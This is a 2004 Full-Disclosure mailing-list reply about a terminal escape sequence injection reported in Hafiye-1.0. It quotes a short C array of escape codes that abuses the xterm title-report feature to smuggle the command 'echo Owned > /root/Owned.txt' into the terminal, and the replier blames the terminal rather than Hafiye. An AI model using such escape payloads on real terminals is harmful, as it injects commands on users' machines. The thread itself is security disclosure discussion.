[Full-Disclosure] Re: Hafiye-1.0 Terminal Escape Sequence Injection Vulnerability

From: Rodrigo Barbosa (rodrigob_at_suespammers.org)
Date: 08/24/04

  • Next message: Micheal Espinola Jr: "Re: [Full-Disclosure] found suspicious desktop.ini in startup folders" 
    To: Serkan Akpolat <sakpolat@gmx.net>
Date: Tue, 24 Aug 2004 12:54:55 -0300

    -----BEGIN PGP SIGNED MESSAGE-----
    Hash: SHA1

    On Mon, Aug 23, 2004 at 09:32:15PM +0300, Serkan Akpolat wrote:
    > char *esc_sequence[]= {"Escape Sequences",
    > "\x1b""]2;Insecure?""\x07\x0a",
    > "\x07\x07\x07\x07\x07\x07",
    > "\x1b""]2;;echo Owned > /root/Owned.txt"
    > "\x07\x1b""[21t""\x1b""]2;xterm""\x07"
    > "Abnormal Termination""\x1b"
    > "[8m;""\x0a"};

    Looks like a traditional ANSI escape code "exploit" (or should I say abuse ?).
    I would blame this on the terminal, nor on the Hafiye software itself.

    []s

    - --
    Rodrigo Barbosa <rodrigob@suespammers.org>
    "Quid quid Latine dictum sit, altum viditur"
    "Be excellent to each other ..." - Bill & Ted (Wyld Stallyns)

    -----BEGIN PGP SIGNATURE-----
    Version: GnuPG v1.2.3 (GNU/Linux)

    iD8DBQFBK2TPpdyWzQ5b5ckRAmQmAKCC/JHgqFew7X5MPg7JwIZWGT3ZywCfURNQ
    Lg02GiczNMHvLbitgXLSc6c=
    =qau0
    -----END PGP SIGNATURE-----

    _______________________________________________
    Full-Disclosure - We believe in it.
    Charter: http://lists.netsys.com/full-disclosure-charter.html

  • Next message: Micheal Espinola Jr: "Re: [Full-Disclosure] found suspicious desktop.ini in startup folders"